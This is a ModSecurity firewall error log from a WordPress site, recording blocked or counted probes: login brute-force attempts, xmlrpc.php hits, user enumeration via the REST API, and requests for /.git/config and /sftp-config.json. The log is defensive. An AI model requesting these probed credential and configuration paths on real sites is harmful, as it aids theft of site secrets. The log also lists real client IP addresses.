[Thu May 14 19:16:17.861764 2026] [:error] [pid 11581:tid 11618] [client 191.7.94.161:41423] [client 191.7.94.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.7.94.161, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agWvAf0vF48FbzpvQMUHXQAAABU"]
[Thu May 14 19:49:57.761397 2026] [:error] [pid 47673:tid 47680] [client 42.194.184.145:38142] [client 42.194.184.145] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agW25fCGe4cIn3sh5k0nmwAAAUU"]
[Thu May 14 20:11:37.562663 2026] [:error] [pid 11690:tid 11717] [client 162.241.2.36:21106] [client 162.241.2.36] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agW7-SnxWuLN8Hptw8kzYQAAANI"]
[Thu May 14 20:30:36.144411 2026] [:error] [pid 47721:tid 47742] [client 192.185.131.136:55484] [client 192.185.131.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.131.136, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXAbHEmh7_G0hfOa6sdsAAAAZM"]
[Thu May 14 20:30:37.423572 2026] [:error] [pid 47721:tid 47746] [client 192.185.131.136:55484] [client 192.185.131.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.131.136, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXAbXEmh7_G0hfOa6sdsQAAAZc"], referer: https://rcacivilgroup.com/wp-login.php
[Thu May 14 20:34:32.598965 2026] [:error] [pid 47721:tid 47727] [client 213.55.96.154:35270] [client 213.55.96.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.154, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXBWHEmh7_G0hfOa6seoAAAAYQ"]
[Thu May 14 20:34:33.835459 2026] [:error] [pid 47721:tid 47735] [client 213.55.96.154:35270] [client 213.55.96.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.154, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXBWXEmh7_G0hfOa6seoQAAAYw"], referer: https://rcacivilgroup.com/wp-login.php
[Thu May 14 21:15:22.016023 2026] [:error] [pid 63033:tid 63051] [client 163.223.102.241:42899] [client 163.223.102.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.102.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agXK6lMY49UWn5BpqVYDsAAAARA"]
[Thu May 14 21:18:34.897526 2026] [:error] [pid 47721:tid 47743] [client 163.223.102.241:45359] [client 163.223.102.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.102.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agXLqnEmh7_G0hfOa6slsAAAAZQ"]
[Thu May 14 21:19:34.749336 2026] [:error] [pid 11588:tid 11653] [client 163.223.102.241:45937] [client 163.223.102.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.102.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agXL5tUr21rOixkeGKa2DgAAAIE"]
[Thu May 14 21:22:12.546705 2026] [:error] [pid 11581:tid 11598] [client 45.117.169.86:44062] [client 45.117.169.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.117.169.86, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXMhP0vF48FbzpvQMUvPgAAAAE"]
[Thu May 14 21:22:15.410223 2026] [:error] [pid 47673:tid 47692] [client 163.223.102.241:48089] [client 163.223.102.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.102.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agXMh_CGe4cIn3sh5k0uNgAAAVE"]
[Thu May 14 21:22:26.146980 2026] [:error] [pid 11581:tid 11615] [client 163.223.102.241:48438] [client 163.223.102.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.223.102.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agXMkv0vF48FbzpvQMUvQwAAABI"]
[Thu May 14 21:22:27.191522 2026] [:error] [pid 11581:tid 11597] [client 45.117.169.86:44092] [client 45.117.169.86] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agXMk_0vF48FbzpvQMUvRQAAAAA"]
[Thu May 14 21:47:40.480421 2026] [:error] [pid 11690:tid 11711] [client 173.236.218.69:35136] [client 173.236.218.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.218.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXSfCnxWuLN8Hptw8k9oAAAAMw"]
[Thu May 14 21:47:42.004540 2026] [:error] [pid 11690:tid 11702] [client 173.236.218.69:35136] [client 173.236.218.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.236.218.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXSfinxWuLN8Hptw8k9oQAAAMM"], referer: https://rcacivilgroup.com/wp-login.php
[Thu May 14 22:31:45.807908 2026] [:error] [pid 11581:tid 11612] [client 43.167.233.54:55582] [client 43.167.233.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.167.233.54, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXc0f0vF48FbzpvQMVBqAAAAA8"]
[Thu May 14 22:31:47.266587 2026] [:error] [pid 11581:tid 11619] [client 43.167.233.54:55582] [client 43.167.233.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 43.167.233.54, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXc0_0vF48FbzpvQMVBqgAAABY"], referer: https://rcacivilgroup.com/wp-login.php
[Thu May 14 22:56:39.005681 2026] [:error] [pid 11581:tid 11602] [client 101.32.128.113:58414] [client 101.32.128.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agXip_0vF48FbzpvQMVHYgAAAAU"]
[Fri May 15 00:08:37.659534 2026] [:error] [pid 11581:tid 11610] [client 148.135.143.169:34122] [client 148.135.143.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.135.143.169, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXzhf0vF48FbzpvQMVYcQAAAA0"]
[Fri May 15 00:08:40.288774 2026] [:error] [pid 11581:tid 11604] [client 148.135.143.169:34122] [client 148.135.143.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 148.135.143.169, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agXziP0vF48FbzpvQMVYdQAAAAc"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 00:16:04.990621 2026] [:error] [pid 11690:tid 11700] [client 67.205.18.1:57928] [client 67.205.18.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.205.18.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agX1RCnxWuLN8Hptw8lLvgAAAME"]
[Fri May 15 00:16:06.379718 2026] [:error] [pid 11690:tid 11714] [client 67.205.18.1:57928] [client 67.205.18.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.205.18.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agX1RinxWuLN8Hptw8lLwAAAAM8"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 00:50:35.680501 2026] [:error] [pid 47673:tid 47688] [client 165.101.254.224:63681] [client 165.101.254.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.101.254.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agX9W_CGe4cIn3sh5k09ugAAAU0"]
[Fri May 15 00:50:35.699158 2026] [:error] [pid 63033:tid 63046] [client 165.101.254.224:5650] [client 165.101.254.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.101.254.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agX9W1MY49UWn5BpqVYUqgAAAQs"]
[Fri May 15 01:35:34.488315 2026] [:error] [pid 11690:tid 11714] [client 213.55.96.153:48060] [client 213.55.96.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.153, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agYH5inxWuLN8Hptw8lTSwAAAM8"]
[Fri May 15 01:35:35.620989 2026] [:error] [pid 11690:tid 11715] [client 213.55.96.153:48060] [client 213.55.96.153] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.96.153, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agYH5ynxWuLN8Hptw8lTTAAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 02:29:30.165719 2026] [:error] [pid 11690:tid 11704] [client 34.97.188.155:50720] [client 34.97.188.155] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "agYUiinxWuLN8Hptw8lYMgAAAMU"]
[Fri May 15 02:49:37.032440 2026] [:error] [pid 11581:tid 11617] [client 146.56.199.139:53728] [client 146.56.199.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agYZQf0vF48FbzpvQMV5vQAAABQ"]
[Fri May 15 03:15:48.530530 2026] [:error] [pid 47721:tid 47743] [client 161.132.40.97:52130] [client 161.132.40.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.40.97, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agYfZHEmh7_G0hfOa6tauwAAAZQ"]
[Fri May 15 03:15:50.611777 2026] [:error] [pid 47721:tid 47729] [client 161.132.40.97:52130] [client 161.132.40.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.132.40.97, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agYfZnEmh7_G0hfOa6tavQAAAYY"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 03:44:41.535933 2026] [:error] [pid 2406:tid 2462] [client 45.117.169.86:39666] [client 45.117.169.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.117.169.86, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agYmKX-5IhrEbhf-k3EXYQAAABY"]
[Fri May 15 03:44:44.206392 2026] [:error] [pid 2406:tid 2453] [client 45.117.169.86:39666] [client 45.117.169.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.117.169.86, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agYmLH-5IhrEbhf-k3EXZgAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 03:53:01.602398 2026] [:error] [pid 1295:tid 1320] [client 50.6.137.53:45162] [client 50.6.137.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.137.53, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agYoHdmMhqLvs0GYixm6aQAAANY"]
[Fri May 15 03:53:02.695260 2026] [:error] [pid 1295:tid 1313] [client 50.6.137.53:45162] [client 50.6.137.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.137.53, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agYoHtmMhqLvs0GYixm6agAAAM8"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 03:53:13.994838 2026] [autoindex:error] [pid 1190:tid 1259] [client 70.153.136.253:59480] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 15 05:30:25.503598 2026] [:error] [pid 1189:tid 1229] [client 198.177.123.157:38794] [client 198.177.123.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.123.157, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agY-8Qe36qIGegR4kclJFQAAAEQ"]
[Fri May 15 05:30:27.022978 2026] [:error] [pid 1189:tid 1233] [client 198.177.123.157:38794] [client 198.177.123.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.123.157, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agY-8we36qIGegR4kclJFgAAAEg"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 06:36:30.833000 2026] [:error] [pid 1190:tid 1275] [client 36.37.209.184:59204] [client 36.37.209.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/sftp-config.json"] [unique_id "agZObtqiXrD7hne4gFahLgAAAJc"]
[Fri May 15 06:38:28.559946 2026] [:error] [pid 1190:tid 1268] [client 20.118.20.77:56534] [client 20.118.20.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.118.20.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZO5NqiXrD7hne4gFahbwAAAJA"]
[Fri May 15 06:38:29.642098 2026] [:error] [pid 1190:tid 1253] [client 20.118.20.77:56534] [client 20.118.20.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.118.20.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZO5dqiXrD7hne4gFahcAAAAIE"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 07:21:34.952116 2026] [:error] [pid 1190:tid 1252] [client 43.159.144.16:42824] [client 43.159.144.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agZY_tqiXrD7hne4gFansQAAAIA"]
[Fri May 15 08:24:11.855293 2026] [:error] [pid 1189:tid 1235] [client 198.177.123.157:34110] [client 198.177.123.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.123.157, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZnqwe36qIGegR4kclfDgAAAEo"]
[Fri May 15 08:24:12.846332 2026] [:error] [pid 1189:tid 1249] [client 198.177.123.157:34110] [client 198.177.123.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.177.123.157, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZnrAe36qIGegR4kclfEAAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 08:52:30.689868 2026] [:error] [pid 1190:tid 1261] [client 23.191.200.89:46224] [client 23.191.200.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.191.200.89, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZuTtqiXrD7hne4gFbBwAAAAIk"]
[Fri May 15 08:52:36.012952 2026] [:error] [pid 1190:tid 1259] [client 23.191.200.89:46224] [client 23.191.200.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.191.200.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agZuVNqiXrD7hne4gFbB4gAAAIc"]
[Fri May 15 08:52:37.749376 2026] [:error] [pid 50531:tid 50536] [client 37.114.50.124:37436] [client 37.114.50.124] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agZuVR3WbFwE6voqGzrbhQAAAQM"]
[Fri May 15 08:52:43.658528 2026] [:error] [pid 1295:tid 1315] [client 37.114.50.124:57282] [client 37.114.50.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/posts"] [unique_id "agZuW9mMhqLvs0GYixkQLwAAANE"]
[Fri May 15 09:24:22.671618 2026] [:error] [pid 51234:tid 51241] [client 173.231.249.1:40284] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZ1xt72N9CbeiqcqgPKJwAAAUU"]
[Fri May 15 09:24:27.068789 2026] [:error] [pid 51234:tid 51246] [client 173.231.249.1:40284] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZ1y972N9CbeiqcqgPKMQAAAUo"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 09:33:32.996948 2026] [:error] [pid 1295:tid 1316] [client 54.91.158.35:35070] [client 54.91.158.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.91.158.35, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZ37NmMhqLvs0GYixkXmAAAANI"]
[Fri May 15 09:33:35.111912 2026] [:error] [pid 1295:tid 1306] [client 54.91.158.35:35070] [client 54.91.158.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.91.158.35, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZ379mMhqLvs0GYixkXmwAAAMg"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 15 09:58:19.800088 2026] [:error] [pid 1188:tid 1220] [client 173.231.249.1:41846] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZ9u9Y68iW8yuNkNzPwxAAAABc"]
[Fri May 15 09:58:21.423431 2026] [:error] [pid 1188:tid 1213] [client 173.231.249.1:41846] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agZ9vdY68iW8yuNkNzPwyAAAABA"], referer: https://rcacivilgroup.com/wp-login.php
